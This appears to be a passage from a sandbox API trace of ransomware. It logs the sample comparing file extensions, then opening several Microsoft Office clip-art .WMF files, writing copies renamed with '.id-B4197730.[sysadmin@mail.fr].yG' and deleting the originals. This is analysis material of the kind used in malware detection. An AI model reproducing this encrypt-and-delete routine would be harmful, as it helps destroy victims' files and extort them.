	[0149.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.238] lstrlenW (lpString=".bz2") returned 4
	[0149.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.238] lstrlenW (lpString=".7z") returned 3
	[0149.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.239] lstrlenW (lpString=".dbf") returned 4
	[0149.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.239] lstrlenW (lpString=".1cd") returned 4
	[0149.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.239] lstrlenW (lpString=".jpg") returned 4
	[0149.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.239] lstrlenW (lpString=".doc") returned 4
	[0149.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.239] lstrlenW (lpString=".docx") returned 5
	[0149.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.240] lstrlenW (lpString=".pdf") returned 4
	[0149.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.240] lstrlenW (lpString=".xls") returned 4
	[0149.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.240] lstrlenW (lpString=".xlsx") returned 5
	[0149.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.240] lstrlenW (lpString=".ppt") returned 4
	[0149.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.240] lstrlenW (lpString=".zip") returned 4
	[0149.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.240] lstrlenW (lpString=".rar") returned 4
	[0149.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.240] lstrlenW (lpString=".bz2") returned 4
	[0149.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.240] lstrlenW (lpString=".7z") returned 3
	[0149.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.241] lstrlenW (lpString=".dbf") returned 4
	[0149.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.241] lstrlenW (lpString=".1cd") returned 4
	[0149.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68
	[0149.241] lstrlenW (lpString=".jpg") returned 4
	[0149.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.242] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.242] lstrlenW (lpString="FD02158_.WMF") returned 12
	[0149.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.242] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1648) returned 1
	[0149.242] CloseHandle (hObject=0x52c) returned 1
	[0149.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220
	[0149.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.243] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.243] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.244] GetLastError () returned 0x0
	[0149.244] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x670, lpOverlapped=0x0) returned 1
	[0149.283] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x680, lpOverlapped=0x0) returned 1
	[0149.284] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.284] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.284] SetEndOfFile (hFile=0x54c) returned 1
	[0149.284] CloseHandle (hObject=0x54c) returned 1
	[0149.284] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.284] SetEndOfFile (hFile=0x52c) returned 1
	[0149.287] CloseHandle (hObject=0x52c) returned 1
	[0149.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 1
	[0149.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.289] lstrlenW (lpString=".doc") returned 4
	[0149.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString=".docx") returned 5
	[0149.290] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.290] lstrlenW (lpString=".pdf") returned 4
	[0149.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString=".xls") returned 4
	[0149.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.290] lstrlenW (lpString=".xlsx") returned 5
	[0149.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.290] lstrlenW (lpString=".ppt") returned 4
	[0149.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.290] lstrlenW (lpString=".zip") returned 4
	[0149.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.290] lstrlenW (lpString=".rar") returned 4
	[0149.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString=".bz2") returned 4
	[0149.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString=".7z") returned 3
	[0149.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.290] lstrlenW (lpString=".dbf") returned 4
	[0149.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.290] lstrlenW (lpString=".1cd") returned 4
	[0149.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.290] lstrlenW (lpString=".jpg") returned 4
	[0149.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.291] lstrlenW (lpString=".doc") returned 4
	[0149.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString=".docx") returned 5
	[0149.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.291] lstrlenW (lpString=".pdf") returned 4
	[0149.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString=".xls") returned 4
	[0149.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.291] lstrlenW (lpString=".xlsx") returned 5
	[0149.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.291] lstrlenW (lpString=".ppt") returned 4
	[0149.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.291] lstrlenW (lpString=".zip") returned 4
	[0149.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.291] lstrlenW (lpString=".rar") returned 4
	[0149.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString=".bz2") returned 4
	[0149.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString=".7z") returned 3
	[0149.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.291] lstrlenW (lpString=".dbf") returned 4
	[0149.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.292] lstrlenW (lpString=".1cd") returned 4
	[0149.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF") returned 68
	[0149.292] lstrlenW (lpString=".jpg") returned 4
	[0149.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.292] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.292] lstrlenW (lpString="HH00084_.WMF") returned 12
	[0149.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.293] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2472) returned 1
	[0149.293] CloseHandle (hObject=0x52c) returned 1
	[0149.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220
	[0149.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.294] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.294] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.295] GetLastError () returned 0x0
	[0149.295] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x9a8, lpOverlapped=0x0) returned 1
	[0149.314] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9b0, lpOverlapped=0x0) returned 1
	[0149.316] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.316] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.316] SetEndOfFile (hFile=0x54c) returned 1
	[0149.341] CloseHandle (hObject=0x54c) returned 1
	[0149.353] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.354] SetEndOfFile (hFile=0x52c) returned 1
	[0149.357] CloseHandle (hObject=0x52c) returned 1
	[0149.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1
	[0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.358] lstrlenW (lpString=".doc") returned 4
	[0149.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.358] lstrlenW (lpString=".docx") returned 5
	[0149.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.358] lstrlenW (lpString=".pdf") returned 4
	[0149.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.358] lstrlenW (lpString=".xls") returned 4
	[0149.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.358] lstrlenW (lpString=".xlsx") returned 5
	[0149.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.358] lstrlenW (lpString=".ppt") returned 4
	[0149.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.358] lstrlenW (lpString=".zip") returned 4
	[0149.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.358] lstrlenW (lpString=".rar") returned 4
	[0149.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.359] lstrlenW (lpString=".bz2") returned 4
	[0149.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.359] lstrlenW (lpString=".7z") returned 3
	[0149.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.359] lstrlenW (lpString=".dbf") returned 4
	[0149.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.359] lstrlenW (lpString=".1cd") returned 4
	[0149.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.359] lstrlenW (lpString=".jpg") returned 4
	[0149.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.359] lstrlenW (lpString=".doc") returned 4
	[0149.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.360] lstrlenW (lpString=".docx") returned 5
	[0149.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.360] lstrlenW (lpString=".pdf") returned 4
	[0149.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.360] lstrlenW (lpString=".xls") returned 4
	[0149.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.360] lstrlenW (lpString=".xlsx") returned 5
	[0149.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.360] lstrlenW (lpString=".ppt") returned 4
	[0149.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.360] lstrlenW (lpString=".zip") returned 4
	[0149.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.360] lstrlenW (lpString=".rar") returned 4
	[0149.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.360] lstrlenW (lpString=".bz2") returned 4
	[0149.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.361] lstrlenW (lpString=".7z") returned 3
	[0149.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.361] lstrlenW (lpString=".dbf") returned 4
	[0149.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.361] lstrlenW (lpString=".1cd") returned 4
	[0149.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68
	[0149.361] lstrlenW (lpString=".jpg") returned 4
	[0149.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.361] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.361] lstrlenW (lpString="HH00236_.WMF") returned 12
	[0149.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.362] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3286) returned 1
	[0149.362] CloseHandle (hObject=0x52c) returned 1
	[0149.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220
	[0149.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0149.363] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.363] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.364] GetLastError () returned 0x0
	[0149.364] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xcd6, lpOverlapped=0x0) returned 1
	[0149.377] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xce0, lpOverlapped=0x0) returned 1
	[0149.378] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.378] WriteFile (in: hFile=0x54c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.378] SetEndOfFile (hFile=0x54c) returned 1
	[0149.379] CloseHandle (hObject=0x54c) returned 1
	[0149.379] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.379] SetEndOfFile (hFile=0x52c) returned 1
	[0149.534] CloseHandle (hObject=0x52c) returned 1
	[0149.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0149.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.712] lstrlenW (lpString=".doc") returned 4
	[0149.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.714] lstrlenW (lpString=".docx") returned 5
	[0149.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.717] lstrlenW (lpString=".pdf") returned 4
	[0149.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.717] lstrlenW (lpString=".xls") returned 4
	[0149.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.717] lstrlenW (lpString=".xlsx") returned 5
	[0149.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.718] lstrlenW (lpString=".ppt") returned 4
	[0149.718] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0149.718] lstrlenW (lpString=".zip") returned 4
	[0149.718] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
